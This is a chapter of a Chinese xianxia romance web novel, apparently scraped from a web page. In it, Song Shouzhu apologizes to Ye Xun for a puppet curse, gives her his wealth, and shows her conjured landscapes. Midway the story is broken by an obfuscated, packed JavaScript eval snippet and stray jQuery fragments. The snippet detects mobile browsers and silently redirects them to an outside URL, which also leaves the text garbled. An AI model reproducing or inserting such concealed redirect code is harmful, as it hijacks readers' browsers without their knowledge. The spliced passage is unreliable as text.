宋守竹视线落在地上，一身黑衣颀长，肩宽胸鼓，革带勒出劲瘦的腰身，长腿步伐稳健，看来伤好得不错。


    他在离她两步远时抬眸看她，又近了一步才止步停下，玄色的衣摆撞到了她白色的裙摆。


    “阿循，”他颊边两个酒窝浅浅浮现，清润的眸盯着她，“跟我去个地方，好吗？”


    叶循其实心里很气，但维持着脸上的冰冷表情，略微动了动唇，“带路。”


    他脸上笑容扩大，转身朝摘星殿外走去。


    叶循默默跟着他，下了摘星峰，到了蓬莱岛的码头，跟他上了一艘小船。


    船无人划而自动，无声地朝珊瑚群岛外驶去。


    宋守竹拿了两个坐垫及一方矮几放在船板上，请叶循坐下，又从船篷里拿出炉子茶具来开始煮茶。


    叶循想起来，将剩余的四分之一朵橙蒿拿出来，放在了矮几上。


    宋守竹拿进船篷用清水洗了洗，直接丢到了茶壶里。


    叶循细眉一挑，“不还给沈重么？”


    “我会按市价付钱。”


    茶煮好了，他倒进一个青玉茶杯中，推至她面前。


    叶循看了看淡黄澄澈的茶汤，唇角勾出讥讽的笑，“我还没蠢到忘记橙蒿上下了毒。宋老板又打算做什么？毒晕我藏起来，还是又要给我下另一种蛊？”


    宋守竹眼眸暗了暗，端起自己那杯喝了口，“这茶叶里有解药。”


    叶循不动，“有事说事。”


    “你借楚述寅的雷劫炼体，正是需要拓宽筋脉，调息灵力的时候。”


    “宋老板真是面善心慈、细致周到，简直要让人铭感五内——如若不是知道你暗地里给我下蛊。怎么，是要我替你挨下一次雷劫，还是要我做你手里的刀，任你驱使？”


    叶循脸上因激动泛出绯色，轻扬的眼尾与下勾的眼角显得越发锐利。


    “阿循，我没有想这样做。”宋守竹坦然回视。


    “傀儡蛊的事，对不起。”


    叶循等着他的下文，他却没出声了。


    “就这样？”


    宋守竹：“不到万不得已，我绝不会用傀儡蛊做违背你意愿之事。”


    叶循站起来，“所以你是不打算给我解了？”


    宋守竹看着她，眼神愧疚却坚定。


    叶循：“什么叫万不得已？怎样算万不得已？”叶循唤出血刃抵上他的脖子，“我架把刀在你脖子上，不到万不得已不杀你行不行？”


    他的眼睛竟然在笑，在对她说可以。


    “你有病！”


    叶循简直抓狂，愤而后退，转过身看着海面调整心绪。


    夜幕笼罩，明月高悬，竟还有满天繁星闪烁。所有的光辉清晰地映照在微起波澜的海面。


    有微风轻抚她的面庞，柔和暖湿，好似拥着她安慰。


    背后之人站起身，缓步走到她身侧。


    “你可以不救我，也可以剖心取蛊，甚至直接杀了我。为何要传灵力救我，还要帮我保存玉斗盘，等我醒来看过？”他嗓音清澈，如流泻的月光，带着暗暗鼓动的情绪，汇入周遭的景象。


    叶循未回头，“我乐意。我现在不动你，想剖你杀你的时候，一样易如反掌。”


    他静默良久，又道了声：“对不起。”


    叶循：“你若真心道歉，不如给我一笔钱，或许我可以考虑原谅你些许。”


    她就拿这笔钱给沈重，或是留一些，日后再用于驱使别人。


    宋守竹脚步声响起，折身进了船篷。


    叶循回过身，便见他抱着一摞书册和一个大木盒出来，放在了矮几上。


    “这是什么？”


    宋守竹：“这是宋记船行近年来的账簿，原本每年要交三成的收成给朝廷当赁金，今日以后每年要缴一半的收益给东梁朝廷。”


    叶循随手翻看了一下，陡然发现他竟是个富豪，富得流油那种。


    叶循：“为何要缴五成给东梁？给我看这些又是什么意思？”


    “我挟持了东梁皇帝，要付出些代价，他们才会放过我们。”宋守竹顿了下，斟酌词句道，“作为对你下傀儡蛊的交换，我将我所有的钱财交给你。”


    他又将木盒打开，推到她面前。


    里面都是些地契、印鉴、宝石银票之类。


    她眼皮跳了跳，她只想要一笔钱，没想要他所有的钱。


    叶循：“全给我？你自己一点没留？”


    宋守竹点点头，“你对船行事务不熟，能否就当聘用我替你打理，每月给我月钱便好。”


    他这是要把公司送她，自己当牛马？


    叶循大受震撼，半晌方道：“不必都给我，日后我有需要，找你要便是。”


    宋守竹坚持，“我在某些方面让你觉得不自由，自当补偿你另外的一种自由。”


    叶循一时无言。


    宋守竹又道：“你如今还想与我立誓吗？”


    叶循回答之前，他又道：“立誓之后，你便永远不能摆脱我了。”


    叶循看着他情绪不明的眼睛，仍旧道：“要。”


    他低低笑了下，将矮几上的东西放到一边，拿着茶杯递给她，“现在可以喝了吗？”


    “凉了，不想喝。”


    “温的。”他一笑，拉着她的手碰了碰茶杯，顺势就将茶杯塞到她手中，握着她的手和茶杯，没有放开，“喝罢。”


    他的手心和茶杯都温热的。


    叶循挣开他的手，一口饮尽了杯中水，把杯子?在了矮几上。


    宋守竹笑着为她添水，“若心中不痛快，不如打我骂我，别气坏了自己。”


    叶循冷哼一声，又一口饮尽杯中水，闭目调息起来。


    温热的水流下肚，像是流入五脏六腑，体内的灵力柔和运转起来，确实比之前要熨帖舒适。紫府中的蓬勃的力量温顺了许多，只是还未完全被驯服。


    叶循喝一杯水调息一下，最后一整壶水都下了肚。


    她催动灵力运行完最后一个周天，睁开眼来，便见矮几上多了一盏宫灯。


    上部是一个檐角飞翘的袖珍楼阁，窗棂都精致镂刻，楼阁下又是一层扩大延伸的屋顶，屋顶和屋脊都以同样的角度飞翘出去。再往下是画着图景的灯面，被橙黄的烛火映得柔软。


    叶循问：“这是什么？”


    宋守竹没有答话，拨动宫灯，掐指捏诀，一阵柔和的法光蔓延开去，周遭景物突变。


    星与月悄然移位，海面消失不见，取而代之的是一望无际的平野，几处篝火明灭，有人围火舞蹈，有人悠然高歌，有马蹄声奔驰着靠近又远离，马背上笑声爽朗，快意恣然。


    脚下的船隐匿不见，叶循仿佛坐在广阔的草原上。粗犷的风夹着草的清香刮过她的面颊。


    不远处水声涛涛，一条蜿蜒的大江流过，水面的月影随波涌动。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286637|196244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    星垂平野阔，月涌大江流。［1］


    叶循心脏有一瞬的震颤，为这辽阔壮丽的景，为这吹过旷野的风。


    “这是哪里？”她屏着呼吸问道。


    “东梁关外，北狄所居之所。”宋守竹说完，再次拨动宫灯捏诀。


    月隐星移，远处青山耸起，近处楼阁林立，一虹石桥架于水上，石桥上行人提着灯笼，步履匆匆，跑躲着即将到来的雨。


    船又出现，飘在平静的湖泊中，周遭是层层叠叠的莲叶，其间可见硕大的粉荷。


    天际划过一道闪电，轰然一声巨响后，雨水淅淅沥沥而至。


    行人更加奔逃，荷叶与荷花都被急而重的雨滴打得摇头晃脑，噼啪作响。


    叶循伸出手，雨滴重重打在她的手心溅起小小的水花，些许的痛觉通过皮肤传入大脑。但她的手中始终积聚不起一汪水，她也丝毫未被淋湿。


    雨水激出蒙蒙水雾，将街市楼阁的灯光映得葳蕤氤氲。雨声淅沥掩盖了一切声响。


    叶循没有说话，待到这一场骤雨止歇，她伸手接下荷叶上落下的水珠，才问道：“这里又是哪里？”


    “江南。”


    他话音刚落，景色又变。


    天际亮成一片霞色，巨大瑰丽的落日垂于天边，漫漫黄沙覆盖了湖泊青荷、小桥楼阁，戈壁下河水奔腾，激浪震响。


    大漠孤烟直，长河落日圆。［2］


    “这里是漠北。”宋守竹轻声道。


    叶循盯着夕阳慢慢垂落沙丘之下，满天繁星重现，问道：“这些都是什么？”


    “大灾难发生之前，每遇瑰丽奇伟之景，便会记录下来，今日正好有时间，便与你共赏。”


    “这算什么？下傀儡蛊的补偿？”


    宋守竹沉默了一瞬：“算是吧。”


    之后他又转换了十余幅景象，皆让叶循叹为观止，其中还有许多地名，都与现实世界中的相同或相似。


    这个几近毁灭的世界，曾经也是那般鲜活美好。


    叶循对这里的人生出几分兔死狐悲的同情，很快又提醒自己这里只是小说世界，她只需要完成任务。


    宋守竹收起宫灯后，另又抱出一大一小两个木盒推到叶循面前。


    叶循整理好自己的情绪，不期然对上他一双清润郑重的眼。


    “这是什么？”


    “打开看看。”


    叶循伸手揭开小木盒，盒中是一只白玉雕成的鹿


    鹿昂扬着头，鹿角从脑后延伸出去，甚至超过了它的身体。它迈着步子，浑身上下都透露出一股骄矜，似乎闲庭信步于众兽艳羡与称赞的目光中。


    叶循被它的神气模样逗笑了，忍不住拿到手里把玩。玉质细腻，触之生暖。


    她摸了摸它的角，白色的丝绦自角上生出，自行绑到了她的腰带上。


    叶循惊奇之余，抬起脸警惕地看向宋守竹。


    宋守竹含笑道：“放心，就是一枚普通的玉佩，没有蛊、没有毒，没有任何陷阱。”


    叶循又打开大木盒，里面是两张动物皮。


    “这是什么？”


    “鹿皮。”


    叶循伸手摸了摸，触感像鹅绒般柔软。


    “为何赠我这些？全都是下傀儡蛊的赔礼？”


    叶循觉得哪里怪怪的，又说不出来哪里奇怪。


    宋守竹看着她身后的天际，“到时辰了。”